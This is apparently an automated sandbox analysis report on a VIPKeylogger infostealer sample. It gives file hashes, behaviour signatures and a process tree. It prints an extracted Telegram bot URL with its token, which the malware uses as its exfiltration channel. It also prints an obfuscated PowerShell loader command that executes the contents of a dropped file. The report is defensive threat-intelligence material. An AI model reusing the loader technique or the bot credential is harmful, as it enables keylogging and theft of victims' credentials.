Analysis
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max time kernel
148s -
max time network
146s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
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submitted
18-12-2024 03:26
General
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Target
cf28af37882fea56145883bee9a128cb31b51c07d449b49e3071499b5f6f70ea.exe
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Size
898KB
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MD5
d206d2d4cc4961ace139ac7eb8c4f305
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SHA1
72555790ce99624754007f0de9f8757fa4c4f488
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SHA256
cf28af37882fea56145883bee9a128cb31b51c07d449b49e3071499b5f6f70ea
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SHA512
599da72384d2799fa6d33f3dddd621373af0cbe956f99b811c42d6be1dfe16be4bb4c183640b40384b9aabae4f793ba4fd6d1f46c6ef22c24db4d91baad960f1
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SSDEEP
24576:IX22+VsNxAe/3jvPyC2LqE3l8Et2F2Yuri:a2exAOyTv3uEtUW
Malware Config
Extracted
vipkeylogger
https://api.telegram.org/bot6675043108:AAG0v6eQpiK2_ep_3f58hzP5driBZyvUyRM/sendMessage?chat_id=6651300320
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
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Blocklisted process makes network request 8 IoCs
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
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Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
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Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
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Drops file in Windows directory 1 IoCs
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Browser Information Discovery 1 TTPs
Enumerate browser information.
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
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Suspicious behavior: EnumeratesProcesses 11 IoCs
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Suspicious behavior: MapViewOfSection 1 IoCs
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Suspicious use of AdjustPrivilegeToken 23 IoCs
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Suspicious use of WriteProcessMemory 7 IoCs
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outlook_office_path 1 IoCs
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outlook_win_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\cf28af37882fea56145883bee9a128cb31b51c07d449b49e3071499b5f6f70ea.exe"C:\Users\Admin\AppData\Local\Temp\cf28af37882fea56145883bee9a128cb31b51c07d449b49e3071499b5f6f70ea.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle minimized "$Chromoleucite=Get-Content -Raw 'C:\Users\Admin\AppData\Roaming\interpellant\stimulere\Chemosis\Latin\Ectomeric252.Cui';$Syncranteric=$Chromoleucite.SubString(71126,3);.$Syncranteric($Chromoleucite)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
311KB
MD500116a8867133361d82dab78efd3dd11
SHA10b1b99e68b4cfe645efd572c0a5349300c66b97d
SHA256ab17986ba2e44d3ba81c4292d61faeb45c3ce115b0add9cc31bab90894008f70
SHA512e3066613e90b922e12727c3b8a6de75f3f9fabeeba6383154409b3309fdc7aaba287b9042b4c3c6a200f9ac9c1b7d880db347793035b387a7196e386f29a78cb
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Filesize
69KB
MD52d96096979c54a49a5c74afe1655419d
SHA14926ca53389f5d7a3a80cf209a09836816b93630
SHA2566d67cda6f0974488147c1c37a76afa0699ad1c1dba4acabc2ec4caba4ebc8c9e
SHA51265567f063dc5cb5956dab8050f547e6cd9f186b262aa3392d867370cfa806bdccc4301dfb1268f278a23986b9beda8377886e18606735bd6bc7f319f5378d26d
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Filesize
18.3MB
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Filesize
296KB
-
Filesize
40KB
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Filesize
584KB
-
Filesize
5.2MB
-
Filesize
320KB
-
Filesize
1.8MB
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Filesize
624KB
-
Filesize
7.7MB
-
Filesize
56KB
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Filesize
3.3MB
-
Filesize
120KB
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Filesize
304KB
-
Filesize
136KB
-
Filesize
104KB
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Filesize
600KB
-
Filesize
5.6MB
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Filesize
6.5MB
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Filesize
7.7MB
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Filesize
120KB
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Filesize
652KB
-
Filesize
408KB
-
Filesize
40KB
-
Filesize
7.7MB
-
Filesize
304KB
-
Filesize
200KB
-
Filesize
68KB
-
Filesize
408KB
-
Filesize
80KB
-
Filesize
32KB
-
Filesize
104KB
-
Filesize
168KB
-
Filesize
144KB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
4KB
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Filesize
7.7MB
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Filesize
63.9MB
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Filesize
7.7MB
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Filesize
136KB
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Filesize
7.7MB
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Filesize
6.2MB
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Filesize
7.7MB
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Filesize
216KB
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Filesize
4KB
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Filesize
7.7MB
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Filesize
7.7MB